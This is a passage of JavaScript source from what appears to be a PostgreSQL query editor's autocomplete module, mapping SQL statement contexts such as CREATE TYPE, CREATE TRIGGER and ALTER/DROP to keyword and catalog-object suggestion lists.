'toast.autovacuum_enabled', 'autovacuum_vacuum_threshold', 'toast.autovacuum_vacuum_threshold', 'autovacuum_vacuum_scale_factor', 'toast.autovacuum_vacuum_scale_factor', 'autovacuum_analyze_threshold', 'autovacuum_analyze_scale_factor', 'autovacuum_vacuum_cost_delay', 'toast.autovacuum_vacuum_cost_delay', 'autovacuum_vacuum_cost_limit', 'toast.autovacuum_vacuum_cost_limit', 'autovacuum_freeze_min_age', 'toast.autovacuum_freeze_min_age', 'autovacuum_freeze_max_age', 'toast.autovacuum_freeze_max_age', 'autovacuum_freeze_table_age', 'toast.autovacuum_freeze_table_age', 'autovacuum_multixact_freeze_min_age', 'toast.autovacuum_multixact_freeze_min_age', 'autovacuum_multixact_freeze_max_age', 'toast.autovacuum_multixact_freeze_max_age', 'autovacuum_multixact_freeze_table_age', 'toast.autovacuum_multixact_freeze_table_age', 'log_autovacuum_min_duration', 'toast.log_autovacuum_min_duration', 'user_catalog_table']];\n \n } else if ((arrPreviousWords[1] + strPreviousWord) === 'ONCOMMIT' && bolFirstSpace) {\n arrQueries = [['PRESERVE ROWS', 'DELETE ROWS', 'DROP']];\n \n } else if (strPreviousWord === 'TABLESPACE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.tablespace];\n \n } else if (strPreviousWord === 'USING' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.access_methods];\n \n } else if (strPreviousWord === 'CONSTRAINT' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.constraint];\n \n } else if (strPreviousWord === 'REFERENCES' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousKeyWord === 'REFERENCES' && (bolCurrentCharOpenParen || bolAfterComma)) {\n arrQueries = [autocompleteQuery.allcolumns];\n \n } else if ((\n (arrPreviousWords[1] + strPreviousWord) === 'ONDELETE'\n || (arrPreviousWords[1] + strPreviousWord) === 'ONUPDATE'\n ) && bolFirstSpace) {\n arrQueries = [['NO ACTION', 'RESTRICT', 'CASCADE', 'SET NULL', 'SET DEFAULT']];\n \n } else if (strCurrentLine.trim().toUpperCase() === strPreviousWord && strPreviousWord !== strPreviousKeyWord && bolFirstSpace) {\n arrQueries = [autocompleteQuery.types];\n }\n \n } else if ((/^(CREATE\\s*TEXT\\s*SEARCH\\s*CONFIGURATION)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'CONFIGURATION' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (bolCurrentCharOpenParen) {\n arrQueries = [['PARSER =', 'COPY =']];\n \n } else if ((/(PARSER|COPY)\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.schemas];\n }\n \n } else if ((/^(CREATE\\s*TEXT\\s*SEARCH\\s*DICTIONARY)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'DICTIONARY' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((/(TEMPLATE)\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.schemas];\n }\n \n } else if ((/^(CREATE\\s*TEXT\\s*SEARCH\\s*PARSER)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'PARSER' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t')) {\n arrQueries = [['START =', 'GETTOKEN =', 'END =', 'LEXTYPES =', 'HEADLINE =']];\n \n } else if ((/(START|GETTOKEN|END|LEXTYPES|HEADLINE)\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0])\n && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.schemas];\n }\n \n } else if ((/^(CREATE\\s*TEXT\\s*SEARCH\\s*TEMPLATE)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'TEMPLATE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t')) {\n arrQueries = [['INIT =', 'LEXIZE =']];\n \n } else if ((/(INIT|LEXIZE)\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0])\n && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.schemas];\n }\n \n } else if ((/^(CREATE\\s*TRANSFORM|CREATE\\s*OR\\s*REPLACE\\s*TRANSFORM)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'TRANSFORM' && bolFirstSpace) {\n arrQueries = [['FOR']];\n \n } else if (strPreviousWord === 'FOR' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.types];\n \n } else if (arrPreviousWords[1] === 'FOR' && bolFirstSpace) {\n arrQueries = [['LANGUAGE']];\n \n } else if (strPreviousWord === 'LANGUAGE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.language];\n \n } else if ((strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t')) {\n arrQueries = [['FROM SQL WITH FUNCTION', 'TO SQL WITH FUNCTION']];\n \n } else if (strPreviousWord === 'FUNCTION' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n }\n \n } else if ((/^(CREATE\\s*TRIGGER|CREATE\\s*CONSTRAINT\\s*TRIGGER)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'TRIGGER' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (arrPreviousWords[1] === 'TRIGGER' && bolFirstSpace) {\n arrQueries = [['BEFORE', 'AFTER', 'INSTEAD OF']];\n \n } else if ((\n strPreviousWord === 'BEFORE'\n || strPreviousWord === 'AFTER'\n || strPreviousWord === 'OR'\n || (arrPreviousWords[1] + strPreviousWord) === 'INSTEADOF'\n ) && bolFirstSpace) {\n arrQueries = [['INSERT', 'UPDATE', 'DELETE', 'TRUNCATE']];\n \n } else if (strPreviousWord === 'ON' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousWord === 'FROM' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousWord === 'PROCEDURE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n }\n \n } else if ((/^(CREATE\\s*TYPE)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'TYPE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (arrPreviousWords[1] === 'TYPE' && bolFirstSpace) {\n arrQueries = [['AS', 'AS RANGE', 'AS ENUM', '(']];\n \n } else if (strPreviousWord === 'COLLATE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.collates];\n \n } else if (!autocompleteSearchBackForWord(strScript, intCursorPosition, 'AS') &&\n (strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t')) {\n arrQueries = [['INPUT =','OUTPUT =','RECEIVE =','SEND =','TYPMOD_IN =','TYPMOD_OUT =','ANALYZE =','INTERNALLENGTH =','PASSEDBYVALUE','ALIGNMENT =','STORAGE =','LIKE =','CATEGORY =','PREFERRED =','DEFAULT =','ELEMENT =','DELIMITER =','COLLATABLE =']];\n \n } else if (autocompleteSearchBackForWord(strScript, intCursorPosition, 'RANGE') &&\n (strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t')) {\n arrQueries = [['SUBTYPE =','SUBTYPE_OPCLASS =','COLLATION =','CANONICAL =','SUBTYPE_DIFF =']];\n \n } else if (autocompleteSearchBackForWord(strScript, intCursorPosition, 'AS') &&\n !autocompleteSearchBackForWord(strScript, intCursorPosition, 'RANGE') &&\n !autocompleteSearchBackForWord(strScript, intCursorPosition, 'ENUM') &&\n strCurrentLine.trim().toUpperCase() === strPreviousWord && bolFirstSpace) {\n arrQueries = [autocompleteQuery.types];\n \n } else if (autocompleteSearchBackForWord(strScript, intCursorPosition, 'AS') &&\n !autocompleteSearchBackForWord(strScript, intCursorPosition, 'RANGE') &&\n !autocompleteSearchBackForWord(strScript, intCursorPosition, 'ENUM') &&\n (strCurrentLine === ' ' || strCurrentLine === ' ' || strCurrentLine === '\\t')) {\n arrQueries = [autocompleteQuery.allcolumns];\n \n } else if ((/(PREFERRED|COLLATABLE)\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [['TRUE', 'FALSE']];\n \n } else if ((/(STORAGE)\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [['plain', 'external', 'extended', 'main']];\n \n } else if ((/(LIKE|ELEMENT|SUBTYPE)\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.types];\n \n } else if ((/(ALIGNMENT)\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [['char', 'int2', 'int4', 'double']];\n \n } else if ((/(CATEGORY)\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [['A','B','C','D','E','G','I','N','P','R','S','T','U','V','X']];\n \n } else if ((/(INTERNALLENGTH)\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [['VARIABLE']];\n \n } else if ((/(COLLATION)\\=$/gi).test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.collations];\n \n } else if ((/(SUBTYPE_OPCLASS|CANONICAL|SUBTYPE_DIFF|INPUT|OUTPUT|RECEIVE|SEND|TYPMOD_IN|TYPMOD_OUT|ANALYZE)\\=$/gi)\n .test(arrPreviousWords[1] + arrPreviousWords[0]) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.schemas];\n }\n \n } else if ((/^(CREATE\\s*USER\\s*MAPPING)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'MAPPING' && bolFirstSpace) {\n arrQueries = [['FOR']];\n \n } else if (strPreviousWord === 'FOR' && bolFirstSpace) {\n arrQueries = [['USER', 'CURRENT_USER', 'PUBLIC'], autocompleteQuery.logins];\n \n } else if (arrPreviousWords[1] === 'FOR' && bolFirstSpace) {\n arrQueries = [['SERVER']];\n \n } else if (strPreviousWord === 'SERVER' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.servers];\n \n } else if (arrPreviousWords[1] === 'SERVER' && bolFirstSpace) {\n arrQueries = [['OPTIONS']];\n }\n \n } else if ((/^(CREATE\\s*USER)/gi).test(strSearchQuery)) {\n if (arrPreviousWords[1] === 'USER' && !autocompleteSearchBackForWord(strScript, intCursorPosition, 'WITH') && bolFirstSpace) {\n arrQueries = [['WITH']];\n } else if (((/^(ROLE|GROUP|ADMIN|USER)$/gi).test(strPreviousWord) || bolAfterComma)\n && autocompleteSearchBackForWord(strScript, intCursorPosition, 'WITH')) {\n arrQueries = [autocompleteQuery.roles];\n } else if (autocompleteSearchBackForWord(strScript, intCursorPosition, 'WITH') && bolCurrentCharWhitespace) {\n arrQueries = [['SUPERUSER','NOSUPERUSER','CREATEDB','NOCREATEDB','CREATEROLE','NOCREATEROLE','CREATEUSER','NOCREATEUSER','INHERIT','NOINHERIT','LOGIN','NOLOGIN','REPLICATION','NOREPLICATION','BYPASSRLS','NOBYPASSRLS','CONNECTION LIMIT','ENCRYPTED PASSWORD','UNENCRYPTED PASSWORD','VALID UNTIL','IN ROLE','IN GROUP','ROLE','ADMIN','USER']];\n }\n \n } else if ((/^(CREATE[\\s(OR|REPLACE|TEMP|TEMPORARY|RECURSIVE)]*VIEW)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'VIEW' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (arrPreviousWords[1] === 'VIEW' && bolFirstSpace) {\n arrQueries = [['WITH']];\n \n } else if (strPreviousKeyWord === 'WITH' && (bolCurrentCharOpenParen || bolAfterComma)) {\n arrQueries = [['check_option', 'security_barrier=true', 'security_barrier=false']];\n }\n \n } else if ((/^(ABORT)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'ABORT' && bolFirstSpace) {\n arrQueries = [['WORK', 'TRANSACTION']];\n }\n \n } else if ((/^(COMMIT\\s*PREPARED)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'PREPARED' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.prepared_transactions];\n }\n \n } else if ((/^(COMMIT)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'COMMIT' && bolFirstSpace) {\n arrQueries = [['WORK', 'TRANSACTION', 'PREPARED']];\n }\n \n } else if ((/^(END)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'END' && bolFirstSpace) {\n arrQueries = [['WORK', 'TRANSACTION']];\n }\n \n } else if ((/^(NOTIFY)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'NOTIFY' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.listening_channels];\n }\n \n } else if ((/^(RELEASE)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'RELEASE' && bolFirstSpace) {\n arrQueries = [['SAVEPOINT']];\n }\n \n } else if ((/^(ROLLBACK\\s*PREPARED)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'ROLLBACK' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.prepared_transactions];\n }\n \n } else if ((/^(ROLLBACK)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'ROLLBACK' && bolFirstSpace) {\n arrQueries = [['WORK', 'TRANSACTION', 'PREPARED', 'TO SAVEPOINT']];\n }\n \n } else if ((/^(DECLARE)/gi).test(strSearchQuery)) {\n if (arrPreviousWords[1] === 'DECLARE' && bolFirstSpace) {\n arrQueries = [['BINARY', 'INSENSITIVE', 'SCROLL', 'NO SCROLL', 'CURSOR']];\n \n } else if (strPreviousWord === 'BINARY' && bolFirstSpace) {\n arrQueries = [['INSENSITIVE', 'SCROLL', 'NO SCROLL', 'CURSOR']];\n \n } else if (strPreviousWord === 'INSENSITIVE' && bolFirstSpace) {\n arrQueries = [['SCROLL', 'NO SCROLL', 'CURSOR']];\n \n } else if (strPreviousWord === 'SCROLL' && bolFirstSpace) {\n arrQueries = [['CURSOR']];\n \n } else if (strPreviousWord === 'CURSOR' && bolFirstSpace) {\n arrQueries = [['WITH HOLD', 'WITHOUT HOLD']];\n \n } else if ((/(WITH|WITHOUT|HOLD)/gi).test(strPreviousWord) && bolFirstSpace) {\n arrQueries = [['FOR']];\n }\n }\n \n // do something with arrContextLists\n // order when autocompleteQuery.allcolumns is in arrQueries\n \n // if we've found queries: open the popup\n if (arrQueries && arrQueries.length > 0) {\n autocompleteGlobals.intSearchStart = intEndCursorPosition - 1;\n autocompleteGlobals.intSearchEnd = intEndCursorPosition;\n autocompletePopupOpen(editor, arrQueries);\n }\n \n // autocomplete after dot\n } else if (bolCurrentCharPeriod) {\n // get prefixes\n jsnPrefix = autocompleteGetPrefix(strScript, intCursorPosition + 1);\n arrPrefix = jsnPrefix.arrStrings;\n \n // if we have more than zero prefix elements\n if (arrPrefix.length > 0) {\n // these are set outside the websocket call because they might\n // be overridden during the wait for the socket response\n autocompleteGlobals.intSearchStart = intStartCursorPosition;\n autocompleteGlobals.intSearchEnd = intEndCursorPosition;\n autocompleteGlobals.intSearchOffset = 1;\n \n // if there's only one prefix element: it could be a schema, table or view name\n if (arrPrefix.length === 1) {\n // we need to handle aliases\n autocompleteGetObjectType(arrPrefix[0]\n , [\n autocompleteSearchQuery.schema\n , autocompleteSearchQuery.table\n , autocompleteSearchQuery.view\n ]\n , function (arrResults) {\n var currentChoice, i, len, arrQueries;\n \n if (arrResults.length > 0) {\n // search through choices, stop if we find a schema\n for (i = 0, len = arrResults.length; i < len; i += 1) {\n currentChoice = arrResults[i];\n if (currentChoice[2] === 'schema') { break; }\n }\n \n // if we found a schema: waterfall for queries\n if (currentChoice[2] === 'schema') {\n // insert query\n if ((/^INSERT/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'RETURNING') {\n arrQueries = [autocompleteQuery.qualified_functions\n , autocompleteQuery.qualified_tables\n , autocompleteQuery.qualified_views];\n } else if (strPreviousKeyWord === 'FROM' || strPreviousKeyWord === 'SELECT') {\n arrQueries = [autocompleteQuery.qualified_tables, autocompleteQuery.qualified_views];\n } else if (strPreviousKeyWord === 'VALUES') {\n arrQueries = [autocompleteQuery.qualified_functions];\n } else if (strPreviousKeyWord === 'INTO') {\n arrQueries = [autocompleteQuery.qualified_tables, autocompleteQuery.qualified_views];\n }\n \n // table query\n } else if ((/^TABLE/gi).test(strSearchQuery)) {\n arrQueries = [autocompleteQuery.qualified_tables];\n \n // select query\n } else if ((/^SELECT|VALUES/gi).test(strSearchQuery)) {\n // after ORDER BY or PARTITION BY: functions, aggregates, tables and views\n if ((arrPreviousKeyWords[1] === 'ORDER' && strPreviousKeyWord === 'BY') ||\n (arrPreviousKeyWords[1] === 'PARTITION' && strPreviousKeyWord === 'BY')) {\n arrQueries = [autocompleteQuery.qualified_functions\n , autocompleteQuery.qualified_aggregates\n , autocompleteQuery.qualified_tables\n , autocompleteQuery.qualified_views];\n \n // after HAVING or GROUP BY: functions and aggregates\n } else if (strPreviousKeyWord === 'HAVING'\n || (arrPreviousKeyWords[1] === 'GROUP' && strPreviousKeyWord === 'BY')) {\n arrQueries = [autocompleteQuery.qualified_functions\n , autocompleteQuery.qualified_aggregates];\n \n // after WHERE: functions, aggregates, tables and views\n } else if (strPreviousKeyWord === 'WHERE') {\n arrQueries = [autocompleteQuery.qualified_functions\n , autocompleteQuery.qualified_aggregates\n , autocompleteQuery.qualified_tables\n , autocompleteQuery.qualified_views];\n \n // after ON: functions, tables and views\n } else if (strPreviousKeyWord === 'ON') {\n arrQueries = [autocompleteQuery.qualified_functions\n , autocompleteQuery.qualified_tables\n , autocompleteQuery.qualified_views];\n \n // after FROM or JOIN: tables, views and functions\n } else if (strPreviousKeyWord === 'FROM' || strPreviousKeyWord === 'JOIN') {\n arrQueries = [autocompleteQuery.qualified_tables\n , autocompleteQuery.qualified_views\n , autocompleteQuery.qualified_functions];\n \n // after SELECT, ALL or DISTINCT: functions, aggregates, tables and views\n } else if ((/(SELECT|ALL|DISTINCT)/gi).test(strPreviousKeyWord)) {\n arrQueries = [autocompleteQuery.qualified_functions\n , autocompleteQuery.qualified_aggregates\n , autocompleteQuery.qualified_tables\n , autocompleteQuery.qualified_views];\n }\n \n // update query\n } else if ((/^UPDATE/gi).test(strSearchQuery)) {\n // after RETURNING or WHERE: functions, tables and views\n if (strPreviousKeyWord === 'RETURNING' || strPreviousKeyWord === 'WHERE') {\n arrQueries = [autocompleteQuery.qualified_functions\n , autocompleteQuery.qualified_tables\n , autocompleteQuery.qualified_views];\n \n // after FROM: tables, views and functions\n } else if (strPreviousKeyWord === 'FROM') {\n arrQueries = [autocompleteQuery.qualified_tables\n , autocompleteQuery.qualified_views\n , autocompleteQuery.qualified_functions];\n \n // after SET: functions\n } else if (strPreviousKeyWord === 'SET') {\n arrQueries = [autocompleteQuery.qualified_functions];\n \n // after UPDATE or ONLY: tables and views\n } else if ((/(UPDATE|ONLY)/gi).test(strPreviousKeyWord)) {\n arrQueries = [autocompleteQuery.qualified_tables\n , autocompleteQuery.qualified_views];\n }\n \n // delete query\n } else if ((/^DELETE/gi).test(strSearchQuery)) {\n // after RETURNING: functions, tables and views\n if (strPreviousKeyWord === 'RETURNING') {\n arrQueries = [autocompleteQuery.qualified_functions\n , autocompleteQuery.qualified_tables\n , autocompleteQuery.qualified_views];\n \n // after WHERE: functions, aggregates, tables and views\n } else if (strPreviousKeyWord === 'WHERE') {\n arrQueries = [autocompleteQuery.qualified_functions\n , autocompleteQuery.qualified_aggregates\n , autocompleteQuery.qualified_tables\n , autocompleteQuery.qualified_views];\n \n // after USING, FROM or ONLY: tables, views and functions\n } else if (strPreviousKeyWord === 'USING'\n || strPreviousKeyWord === 'FROM'\n || strPreviousKeyWord === 'ONLY') {\n arrQueries = [autocompleteQuery.qualified_tables\n , autocompleteQuery.qualified_views\n , autocompleteQuery.qualified_functions];\n }\n \n } else if ((/^(CREATE\\s*AGGREGATE)/gi).test(strSearchQuery)) {\n if ((/FUNC\\=$/gi).test(arrPreviousWords[2] + arrPreviousWords[1])) {\n arrQueries = [autocompleteQuery.qualified_functions];\n }\n \n } else if ((/^(CREATE\\s*CONVERSION|CREATE\\s*DEFAULT\\s*CONVERSION)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'FROM') {\n arrQueries = [autocompleteQuery.qualified_functions];\n }\n \n } else if ((/^(CREATE\\s*EVENT\\s*TRIGGER)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'PROCEDURE') {\n arrQueries = [autocompleteQuery.qualified_functions];\n }\n \n } else if ((/^(CREATE\\s*FOREIGN\\s*DATA\\s*WRAPPER)/gi).test(strSearchQuery)) {\n arrQueries = [autocompleteQuery.qualified_functions];\n \n } else if ((/^(CREATE\\s*INDEX|CREATE\\s*UNIQUE\\s*INDEX)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'ON') {\n arrQueries = [autocompleteQuery.qualified_tables];\n }\n \n } else if ((/^(CREATE[\\sa-z]*LANGUAGE)/gi).test(strSearchQuery)) {\n arrQueries = [autocompleteQuery.qualified_functions];\n \n } else if ((/^(CREATE\\s*POLICY)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'ON') {\n arrQueries = [autocompleteQuery.qualified_tables];\n }\n \n } else if ((/^(CREATE\\s*RULE|CREATE\\s*OR\\s*REPLACE\\s*RULE)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'TO') {\n arrQueries = [autocompleteQuery.qualified_tables];\n }\n \n } else if ((/^(CREATE\\s*SEQUENCE|CREATE\\s*TEMP\\s*SEQUENCE|CREATE\\s*TEMPORARY\\s*SEQUENCE)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'BY') {\n arrQueries = [autocompleteQuery.qualified_tables];\n }\n \n } else if ((/^(CREATE[\\sa-z]*TABLE)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'LIKE'\n || strPreviousKeyWord === 'INHERITS'\n || strPreviousKeyWord === 'REFERENCES') {\n arrQueries = [autocompleteQuery.qualified_tables];\n }\n \n } else if ((/^(CREATE\\s*TEXT\\s*SEARCH\\s*CONFIGURATION)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'PARSER') {\n arrQueries = [autocompleteQuery.qualified_text_search_parsers];\n \n } else if (strPreviousKeyWord === 'COPY') {\n arrQueries = [autocompleteQuery.qualified_text_search_configurations];\n }\n \n } else if ((/^(CREATE\\s*TEXT\\s*SEARCH\\s*DICTIONARY)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'TEMPLATE') {\n arrQueries = [autocompleteQuery.qualified_text_search_templates];\n }\n \n } else if ((/^(CREATE\\s*TEXT\\s*SEARCH\\s*PARSER)/gi).test(strSearchQuery)) {\n if ((/(START|GETTOKEN|END|LEXTYPES|HEADLINE)\\=$/gi).test(arrPreviousWords[2] + arrPreviousWords[1])) {\n arrQueries = [autocompleteQuery.qualified_functions];\n }\n \n } else if ((/^(CREATE\\s*TEXT\\s*SEARCH\\s*TEMPLATE)/gi).test(strSearchQuery)) {\n if ((/(INIT|LEXIZE)\\=$/gi).test(arrPreviousWords[2] + arrPreviousWords[1])) {\n arrQueries = [autocompleteQuery.qualified_functions];\n }\n \n } else if ((/^(CREATE\\s*TRANSFORM|CREATE\\s*OR\\s*REPLACE\\s*TRANSFORM)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'FUNCTION') {\n arrQueries = [autocompleteQuery.qualified_functions];\n }\n \n } else if ((/^(CREATE\\s*TRIGGER|CREATE\\s*CONSTRAINT\\s*TRIGGER)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'ON' || strPreviousKeyWord === 'FROM') {\n arrQueries = [autocompleteQuery.qualified_tables];\n \n } else if (strPreviousKeyWord === 'PROCEDURE') {\n arrQueries = [autocompleteQuery.qualified_functions];\n }\n \n } else if ((/^(CREATE\\s*TYPE)/gi).test(strSearchQuery)) {\n if ((/(SUBTYPE_OPCLASS)\\=$/gi).test(arrPreviousWords[2] + arrPreviousWords[1])) {\n arrQueries = [autocompleteQuery.qualified_operator_classes];\n \n } else if ((/(CANONICAL|SUBTYPE_DIFF|INPUT|OUTPUT|RECEIVE|SEND|TYPMOD_IN|TYPMOD_OUT|ANALYZE)\\=$/gi)\n .test(arrPreviousWords[2] + arrPreviousWords[1])) {\n arrQueries = [autocompleteQuery.qualified_functions];\n }\n \n // drop or alter query\n } else if ((/^(ALTER\\s*TEXT\\s*SEARCH\\s*CONFIGURATION)/gi).test(strSearchQuery)) {\n if (arrPreviousKeyWords[1] === 'SEARCH' && strPreviousKeyWord === 'CONFIGURATION') {\n arrQueries = [autocompleteQuery.qualified_text_search_configurations];\n \n } else if (strPreviousKeyWord === 'REPLACE') {\n arrQueries = [autocompleteQuery.qualified_text_search_dictionaries];\n \n } else if (autocompleteSearchBackForWord(strScript, intCursorPosition, 'WITH')) {\n arrQueries = [autocompleteQuery.qualified_text_search_dictionaries];\n }\n \n } else if ((/^(CREATE\\s*OPERATOR\\s*CLASS)/gi).test(strSearchQuery)) {\n if (arrPreviousWords.indexOf('OPERATOR') < 5 && arrPreviousWords.indexOf('OPERATOR') > -1\n && autocompleteSearchBackForWord(strScript, intCursorPosition, 'TYPE')) {\n arrQueries = [autocompleteQuery.qualified_operators];\n } else if (arrPreviousWords.indexOf('FUNCTION') < 5 && arrPreviousWords.indexOf('FUNCTION') > -1\n && autocompleteSearchBackForWord(strScript, intCursorPosition, 'TYPE')) {\n arrQueries = [autocompleteQuery.qualified_functions];\n }\n \n } else if ((/^(CREATE\\s*OPERATOR)/gi).test(strSearchQuery)) {\n if ((/(PROCEDURE|JOIN|RESTRICT)\\=$/gi).test(arrPreviousWords[2] + arrPreviousWords[1])) {\n arrQueries = [autocompleteQuery.qualified_functions];\n } else if ((/(COMMUTATOR|NEGATOR)\\=$/gi).test(arrPreviousWords[2] + arrPreviousWords[1])) {\n arrQueries = [autocompleteQuery.qualified_operators];\n }\n \n // drop or alter query\n } else if ((/^(DROP|ALTER|COMMENT|SECURITY\\s*LABEL|CREATE)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'AGGREGATE') {\n arrQueries = [autocompleteQuery.qualified_aggregates];\n } else if (strPreviousKeyWord === 'CONVERSION') {\n arrQueries = [autocompleteQuery.qualified_conversions];\n } else if (strPreviousKeyWord === 'CONSTRAINT') {\n arrQueries = [autocompleteQuery.qualified_constraints];\n } else if (strPreviousKeyWord === 'COLLATION') {\n arrQueries = [autocompleteQuery.qualified_collations];\n } else if (strPreviousKeyWord === 'COLUMN') {\n arrQueries = [autocompleteQuery.qualified_tables];\n } else if (strPreviousKeyWord === 'DOMAIN') {\n arrQueries = [autocompleteQuery.qualified_domains];\n } else if (arrPreviousKeyWords[1] === 'FOREIGN' && arrPreviousKeyWords[0] === 'TABLE') {\n arrQueries = [autocompleteQuery.qualified_foreign_tables];\n } else if (strPreviousKeyWord === 'FUNCTION'\n || strPreviousKeyWord === 'HANDLER'\n || strPreviousKeyWord === 'VALIDATOR') {\n arrQueries = [autocompleteQuery.qualified_functions];\n } else if (strPreviousKeyWord === 'INDEX' || arrPreviousKeyWords[2] === 'INDEX' ||\n ((arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'CLUSTERON')) {\n arrQueries = [autocompleteQuery.qualified_indexes];\n } else if ((arrPreviousKeyWords[1] === 'MATERIALIZED' && arrPreviousKeyWords[0] === 'VIEW') ||\n (arrPreviousKeyWords[3] === 'MATERIALIZED' && arrPreviousKeyWords[2] === 'VIEW')) {\n if (parseFloat(contextData.minorVersionNumber, 10) >= 9.3) {\n arrQueries = [autocompleteQuery.qualified_materialized_views];\n }\n } else if (strPreviousKeyWord === 'OPERATOR') {\n arrQueries = [autocompleteQuery.qualified_operators];\n } else if (strPreviousKeyWord === 'TYPE' || arrPreviousKeyWords[1] === 'FOR') {\n arrQueries = [autocompleteQuery.qualified_types];\n } else if (arrPreviousKeyWords[1] === 'OPERATOR' && arrPreviousKeyWords[0] === 'CLASS') {\n arrQueries = [autocompleteQuery.qualified_operator_classes];\n } else if (arrPreviousKeyWords[1] === 'OPERATOR' && arrPreviousKeyWords[0] === 'FAMILY') {\n arrQueries = [autocompleteQuery.qualified_operator_families];\n } else if (strPreviousKeyWord === 'SEQUENCE'\n || (arrPreviousKeyWords[2] === 'SEQUENCE' && strPreviousKeyWord !== 'BY')) {\n arrQueries = [autocompleteQuery.qualified_sequences];\n } else if (strPreviousKeyWord === 'TABLE'\n || arrPreviousKeyWords[1] === 'TRIGGER'\n || arrPreviousKeyWords[1] === 'CONSTRAINT'\n || strPreviousKeyWord === 'INHERIT'\n || ((/^(ALTER\\s*POLICY)/gi).test(strSearchQuery) && strPreviousKeyWord === 'ON')\n || ((/^(ALTER\\s*SEQUENCE)/gi).test(strSearchQuery) && strPreviousKeyWord === 'BY')\n || ((/^(ALTER\\s*TABLE)/gi).test(strSearchQuery) && (/(TABLE|EXISTS|ONLY)/gi).test(strPreviousKeyWord))) {\n arrQueries = [autocompleteQuery.qualified_tables];\n } else if (((/^(ALTER\\s*RULE)/gi).test(strSearchQuery) && strPreviousKeyWord === 'ON')) {\n arrQueries = [autocompleteQuery.qualified_tables, autocompleteQuery.qualified_views];\n } else if (strPreviousKeyWord === 'VIEW'\n || 